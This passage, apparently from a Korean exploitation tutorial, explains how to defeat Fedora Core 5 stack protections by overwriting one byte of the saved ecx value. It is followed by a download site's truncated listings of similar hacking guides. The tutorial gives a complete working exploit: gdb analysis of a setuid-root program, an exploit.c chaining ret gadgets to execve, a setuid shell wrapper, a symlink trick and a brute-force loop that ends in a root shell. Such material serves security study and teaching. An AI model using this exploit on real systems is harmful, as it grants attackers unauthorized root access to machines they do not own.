24 (gdb) si <--- lea 0xfffffffc(%ecx),%esp 수행. 0x c in main () (gdb) x/x $esp <--- esp 를 &return address 로가리키게함. 0xbf853a2c: 0x008207e4 (gdb) si <--- ret 수행.( main() 이전함수를진행시킴 ) 0x008207e4 in libc_start_main () from /lib/libc.so.6 여기까지 FC5 에서 main() 의프롤로그와에필로그작업을다보셨습니다. 쉽게보기위해에필로그작업을마친 stack 을도식화해보겠습니다. <FC5 stack> <--- stack 의높은주소 return address dummy dummy dummy copy return address ebp &return address + 4(ecx) <--- stack 의낮은주소 결국위와같이되는것입니다. stack overflow 를하게될경우를생각해보면가장난관이바로 stack 에구성된 ecx 값이될것입니다. main() 의에필로그부분을보면 stack 에구성된 ecx - 4 한주소를 esp 로넣어 ret 명령을수행하기때문에입니다. 물론이때 stack 에구성된 ecx 값은 random stack address 값이됩니다. 참난감한상황이아닐수없습니다.( ㅠㅠ ) return address 를변조할려면 stack 에구성된 ecx 값을변조할수밖에없는데이 random 적으로변하는 stack 의주소값을정확히추측할수없기때문입니다.

25 ================================================================================= *** 10. FC5 에서의 stack 방어메커니즘우회공격기법 (ecx one byte overflow) *** ================================================================================= 어떻게해야저 stack 보호메커니즘을뚫고 root shell 을얻을수있겠습니까? 방법을말씀드리겠습니다. 일단 stack 상에방패역할을하는 ecx 값을최하위한바이트만 0x00 으로덮어씌웁니다. 그럼에필로그작업을수행할때 buffer 쪽으로 esp 가넘어오게됩니다.( 확률상높게나타납니다.) buffer 의어느위치에정확히 esp 가넘어올지모르기때문에 buffer 의최상위 4 바이트를제외한모든부분을 ret 코드로채웁니다. 그렇게되면 stack 의높은주소로 esp 가올라가게되고최종적으로 main() 의에필로그부분을 한번더수행해주면환경변수나 argv 영역으로프로그램흐름이넘어가게됩니다. 지금설명한부분을도식화해보겠습니다.

26 < 공격전 stack> < 공격후 stack> <--- stack 의높은주소 0 execve()'s 3 인자 > root shell!!! 0 execve()'s 2 인자 0 execve()'s 1 인자 0 dummy 0 &execve() +<----- lea 0xfffffffc(%ecx),%esp + ret --+ ^ 0 dummy 중략중략 0 &environs address pop %ebp > + 0 &environs address +<----- pop %ecx 중략중략 ^ return address return address dummy dummy dummy dummy copy return address copy return address ebp ebp &return address + 4(ecx) one byte 0x00 ecx start! ----->+ buffer main()'s epilogue > + add $0x???, %esp - + ^ buffer ret buffer. V buffer ret +< %esp == 0xbf????00 0x4 buffer ret <--- stack 의낮은주소

27 위의그림에서 start 부분부터따라가면서봐주시면이해가되실겁니다. 취약프로그램을공격해보겠습니다. vul]$ ls -al vul -rwsr-xr-x 1 root root 4699 Apr 14 10:44 vul [randomkid@localhost vul]$ cat vul.c #include <stdio.h> #include <string.h> int main(int argc,char**argv) { char buf[256]; strcpy(buf,argv[1]); } [randomkid@localhost vul]$ id uid=500(randomkid) gid=500(randomkid) groups=500(randomkid) context=user_u:system_r:unconfined_t [randomkid@localhost vul]$ uname -a Linux localhost.localdomain fc5 #1 Fri Dec 15 16:06:24 EST 2006 i686 i686 i386 GNU/Linux [randomkid@localhost vul]$ root 권한으로실행이되는취약프로그램입니다. 공격과정은다음과같습니다. 1. 아스키아머가걸리지않은 ret 코드주소를알아낸다. 2. main()'s 에필로그주소를알아낸다. 3. 몇번째 enviorns 에서 ret 이되는지알아낸다. 4. &execve()'s address 를알아낸다. 5. 심볼릭링크를걸고공격하여 root shell 을얻어낸다. 그럼 gdb 로취약프로그램을분석합니다.

28 vul]$ gdb -q vul (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disas main Dump of assembler code for function main: 0x <main+0>: lea 0x4(%esp),%ecx 0x <main+4>: and $0xfffffff0,%esp 0x b <main+7>: pushl 0xfffffffc(%ecx) 0x e <main+10>: push %ebp 0x f <main+11>: mov %esp,%ebp 0x <main+13>: push %ecx 0x <main+14>: sub $0x114,%esp 0x <main+20>: mov 0x4(%ecx),%eax 0x b <main+23>: add $0x4,%eax 0x e <main+26>: mov (%eax),%eax 0x080483a0 <main+28>: mov %eax,0x4(%esp) 0x080483a4 <main+32>: lea 0xfffffefc(%ebp),%eax 0x080483aa <main+38>: mov %eax,(%esp) 0x080483ad <main+41>: call 0x80482c8 < 0x080483b2 <main+46>: add $0x114,%esp <--- main()'s 에필로그주소 0x080483b8 <main+52>: pop %ecx 0x080483b9 <main+53>: pop %ebp 0x080483ba <main+54>: lea 0xfffffffc(%ecx),%esp 0x080483bd <main+57>: ret <--- ret 코드주소 0x080483be <main+58>: nop 0x080483bf <main+59>: nop End of assembler dump. (gdb) ret 코드주소와에필로그주소를알아냈습니다. 다음몇번째환경변수값을 ret 하는지알아내기위해다음과같은프로그램을만듭니다. (gdb) q

29 vul]$ cat test.c #include <stdio.h> int main() { char *environs[] = { "K1","K2","K3","K4","K5","K6","K7","K8","K9","K10","K11","K12","K13","K14", "K15","K16","K17","K18","K19","K20","K21","K22","K23","K24","K25","K26","K27", "K28","K29","K30",0 }; char *argv[] = { "./vul", /* <--- ret 코드주소 */ "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08" "\xb2\x83\x04\x08", /* <--- main()'s 의에필로그 */ 0 }; } execve("./vul",argv,environs);

30 위프로그램을 gdb 로돌리면몇번째환경변수가 ret 이실행되는지알수있습니다. vul]$ gcc -o test test.c vul]$ gdb -q test (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r Starting program: /home/randomkid/vul/test Reading symbols from shared object read from target memory...(no debugging symbols found)...done. Loaded system supplied DSO at 0xeb4000 (no debugging symbols found) (no debugging symbols found) Program received signal SIGSEGV, Segmentation fault. 0x b in?? () (gdb) x/s $esp 0xbfe55fe6: "K27" (gdb) 26 번째인자가 ret 이수행이되었습니다. 그럼 26 번째인자를 &execve() 로바꾸고 28 번째에서 execve() 의인자를올바르게구성시켜주면됩니다. (gdb) p execve <--- &execve() address $1 = {<text variable, no debug info>} 0x8962fc <execve> (gdb) x/x 0x <--- execve() 의첫번째인자 0x : 0x (gdb) x/x 0x <--- execve() 의두번째, 세번째인자 0x : 0x (gdb) q The program is running. Exit anyway? (y or n) y [randomkid@localhost vul]$ cat exploit.c

31 #include <stdio.h> int main() { char *environs[] = { "K1","K2","K3","K4","K5","K6","K7","K8","K9","K10","K11","K12","K13","K14", "K15","K16","K17","K18","K19","K20","K21","K22","K23","K24","K25","K25", "\xfc\x62\x89", /* <--- &execve()'s address */ "K27", "\x74\x90\x04\x08" /* <--- execve() 첫번째인자 */ "\x04\x97\x04\x08" /* <--- execve() 두번째인자 */ "\x04\x97\x04\x08",/* <--- execve() 세번째인자 */ 0 }; char *argv[] = { "./vul", "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08" "\xb2\x83\x04\x08", 0 }; execve("./vul",argv,environs); } [randomkid@localhost vul]$ cat shell.c

32 #include <stdio.h> int main() { printf("root in!!!\n"); setuid(0); system("/bin/sh"); } [randomkid@localhost vul]$ gcc -o shell shell.c [randomkid@localhost vul]$ ln -s shell `perl -e 'print "\x01"'` [randomkid@localhost vul]$ ls -al `perl -e 'print "\x01"'` lrwxrwxrwx 1 randomkid randomkid 5 May 22 09:16? -> shell [randomkid@localhost vul]$ 모든준비가끝났습니다. 그럼공격을해보겠습니다. [randomkid@localhost vul]$ gcc -o exploit exploit.c [randomkid@localhost vul]$./exploit [randomkid@localhost vul]$ while [ 1 ]; > do >./exploit > done Segmentation fault Segmentation fault Segmentation fault root in!!! sh-3.1# id uid=0(root) gid=500(randomkid) groups=500(randomkid) context=user_u:system_r:unconfined_t sh-3.1# uname -a Linux localhost.localdomain fc5 #1 Fri Dec 15 16:06:24 EST 2006 i686 i686 i386 GNU/Linux sh-3.1# root shell 을얻었습니다. < Reference > - The advanced return-into-lib(c) exploits (Nergal) - The Frame Pointer Overwrite (klog) - Fedora Core 5,6 시스템기반 main() 함수내의달라진 stack overflow 공격기법 (Xpl017Elz) - Fedora Core 4,5,6 내에서 local 스택기반 overflow exploit 방법 (Xpl017Elz) - The New Way to Attack Applications On Operating Systems under Execshield (Xpl017Elz) - Fedora Core 3 에서 Overflow Explotation (vangelis) - BYPASSING STACKGUARD AND STACKSHIELD (Bulba and Kil3r) - Bypass Exec-shield under RedHat PST (axis) - 해커지망자들이알아야할 Buffer Overflow Attack 의기초 ( 달고나 ) - 리모트오버플로우공격기법총정리 (mongii)

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

History

History [Document Information] Title : History Of Buffer Over Flow VOL. 1 Date : 2007. 3. 28 Author : hardsoju Contact : E-Mail(hardsoju@hanmail.net) 1 [Index] 1. 개요 2. 환경변수의이해 2.1 eggshell 을이용한 root shell 획득

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

<52544CC0BB20BEC6B4C2B0A12E687770>

<52544CC0BB20BEC6B4C2B0A12E687770> RTL 을아는가? 작성일 : 2009/12/01 Written by MaJ3stY ----------------------------------------------------------------------- 목차 0x01 Notice 0x02 RTL 이란? 0x03 공격을직접해보자. 0x04 마치며 -----------------------------------------------------------------------

More information

RTL

RTL All about RTL ( Return To Library ) By Wr4ith [ 목차 ] 1. 개요 2. 등장배경 3. 실습 1. 개요 기존의시스템해킹기법중일부인 BoF/FSB 등은대부분직접만든쉘코드를이용 하여 root 권한을취득하는것이일반적이였다. 하지만 RTL 기법은쉘코드가필요 없는기법이다. RTL 의핵심은함수에필로그과정에서 RET 영역에 libc

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

Microsoft Word - FreeBSD Shellcode 만들기.docx

Microsoft Word - FreeBSD Shellcode 만들기.docx FreeBSD Shellcode 만들기 작성자 : graylynx (graylynx at gmail.com) 작성일 : 2007년 6월 21일 ( 마지막수정일 : 2007년 6월 21일 ) http://powerhacker.net 이문서는쉘코드를만드는데필요한모든내용을포함하고있지는않습니다. 이문서를읽어보시기전에간단한어셈블리명령어와 C 언어문법, 쉘코드에대한기초적인내용을미리습득하신다면더욱더쉽게이해할수있을겁니다

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG - Buffer Overflow - 윤석언 SlaxCore@gmailcom 제12회세미나 수원대학교보안동아리 FLAG http://flagsuwonackr - 1 - < BOF(Buffer OverFlow) > - Stack 기반 - Heap 기반 # 기초 : Stack 기반의 BOF 스택 : 기본적으로 2개의 operation(push, pop) 과 1 개의변수(top)

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택

More information

vi 사용법

vi 사용법 유닉스프로그래밍및실습 gdb 사용법 fprintf 이용 단순디버깅 확인하고자하는코드부분에 fprintf(stderr, ) 를이용하여그지점까지도달했는지여부와관심있는변수의값을확인 여러유형의단순한문제를확인할수있음 그러나자세히살펴보기위해서는디버깅툴필요 int main(void) { int count; long large_no; double real_no; init_vars();

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2. 버퍼오버플로우공격 3. 포맷스트링공격 시스템메모리의구조 어떤프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성됨. 그메모리공간은다시목적에따라상위메모리와하위메모리로나눔. [ 그림 5-2] 메모리의기본구조 스택영역과힙영역 상위메모리 : 스택 (Stack)

More information

Return-to-libc

Return-to-libc Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u HackerSchool WarGame 풀이 Written by StolenByte http://stolenbyte.egloos.com - 1 - Level 1. Trivial [level1@ftz level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. [level1@ftz level1]$ find / -user level2 2>/dev/null

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

UDCSC Hacking Festival 2005

UDCSC Hacking Festival 2005 UDCSC Hacking Festival 2005 작성자 : 유동훈 목차 0x00: 소개인사 0x01: Level1 문제 0x02: Level2 문제 0x03: Level3 문제 0x04: Level4 문제 0x05: Level5 문제 0x06: Level6 문제 0x07: 후기 0x00: 소개인사 안녕하세요. 이렇게만나뵙게되어서반갑습니다. 이번이벤트를주최해주신여러분들께진심으로감사드리는바입니다.

More information

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다.

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2.

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

Adobe Flash 취약점 분석 (CVE-2012-0754)

Adobe Flash 취약점 분석 (CVE-2012-0754) 기술문서 14. 08. 13. 작성 GNU C library dynamic linker $ORIGIN expansion Vulnerability Author : E-Mail : 윤지환 131ackcon@gmail.com Abstract 2010 년 Tavis Ormandy 에 의해 발견된 취약점으로써 정확한 명칭은 GNU C library dynamic linker

More information

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환 취약점분석보고서 [Photodex ProShow Producer v5.0.3256] 2012-07-24 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Photodex ProShow Producer Buffer Overflow 취약점분석... 2 2.1. Photodex ProShow Producer Buffer

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

BOF Foundation.doc

BOF Foundation.doc 해커지망자들이알아야할 Buffer Overflow Attack 의기초 What every applicant for the hacker should know about the foundation of buffer overflow attacks By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com 2005 년 9월 5일

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

untitled

untitled 시스템소프트웨어 : 운영체제, 컴파일러, 어셈블러, 링커, 로더, 프로그래밍도구등 소프트웨어 응용소프트웨어 : 워드프로세서, 스프레드쉬트, 그래픽프로그램, 미디어재생기등 1 n ( x + x +... + ) 1 2 x n 00001111 10111111 01000101 11111000 00001111 10111111 01001101 11111000

More information

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770> 기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)

More information

BufferOverflow on Solaris Sparc

BufferOverflow on Solaris Sparc BufferOverflow on Solaris Sparc by Tyger (nobody4@empal.com) 1. 서문이문서에서는 Solaris Sparc에서의버퍼오버플로우에대해다룰것이다. 버퍼오버플로우에대한개념은이미알고있는걸로간주하고, Intel x86에서의버퍼오버플로우와차이점에중점을두고설명한다. 참고로 Sparc 머신이없어서아래의환경에서만테스트한것이므로다른환경에선이내용과다른결과가나올수도있다.

More information

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode] Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Development Environment 2 Jo, Heeseung make make Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one It

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

Smashing The Stack For Fun And Profit by Aleph One

Smashing The Stack For Fun And Profit by Aleph One Review of Aleph One s Smashing The Stack For Fun And Profit by vangelis(vangelis@wowsecurity.org) 888 888 888 888 888 888 888 888 888.d88b. 888 888 888 88888b. 8888b..d8888b 888 888.d88b. 888d888 888 888

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st

